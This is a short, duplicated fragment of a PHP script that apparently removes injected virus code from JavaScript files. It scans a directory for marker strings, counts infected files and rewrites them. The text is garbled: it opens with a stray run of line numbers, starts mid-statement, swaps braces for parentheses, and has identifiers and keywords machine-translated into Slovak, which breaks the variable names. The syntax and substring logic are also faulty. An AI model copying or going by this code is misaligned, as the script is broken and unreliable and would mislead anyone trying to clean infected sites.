    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ) ; $ virus_text = substr ($v , $pos_start , $pos_end ) ; if ($virus_text != "" ) ( if (! stristr ($v , $virus_text ) ) ( $nfile = $v ; ) else ( if (! $ príznak ) ( $flag = true ; if (in_array ($ffile , $GLOBALS [ "skip_files" ] ) ) echo " - preskočené" ; else ( echo " - infikované" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $file = fopen ($filename , "w" ) ; fwrite ($file , implode ($nfile , "" ) ) ) fclose ($file); ) ) dir_walk("del_virus" , $dir , pole ( "js" ) , true , $dir ) ; echo "Počet infikovaných = $počet_infikovaných" ; ?>

    $v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") ( if (!stristr($v, $virus_text)) ( $nfile=$v; ) else ( if (!$ príznak) ( $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - preskočené"; else ( echo " - infikované"; $GLOBALS["num_infected"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")) fclose($file); ) ) dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Počet infikovaných = $počet_infikovaných"; ?>